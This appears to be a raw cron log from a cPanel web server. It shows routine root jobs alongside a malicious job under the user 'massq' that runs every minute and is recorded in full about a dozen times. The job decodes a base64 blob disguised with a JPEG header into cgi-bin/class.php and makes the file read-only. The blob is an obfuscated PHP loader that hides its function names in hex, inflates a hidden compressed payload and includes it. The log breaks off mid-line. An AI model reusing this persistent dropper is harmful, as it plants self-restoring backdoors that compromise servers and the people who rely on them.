Nov  9 13:40:01 server CROND[6617]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:41:01 server CROND[7511]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:42:01 server CROND[8346]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:42:01 server CROND[8347]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 13:43:01 server CROND[9437]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:44:01 server CROND[10272]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:45:01 server CROND[10809]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 13:45:01 server CROND[10811]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:45:01 server CROND[10810]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 13:46:01 server CROND[11333]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:47:01 server CROND[11914]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:48:01 server CROND[12716]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:49:01 server CROND[13338]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:50:01 server CROND[14001]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 13:50:01 server CROND[14005]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 13:50:01 server CROND[14004]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 13:50:01 server CROND[14006]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:50:01 server CROND[14007]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 13:51:01 server CROND[14879]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:52:01 server CROND[15702]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:53:01 server CROND[16636]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 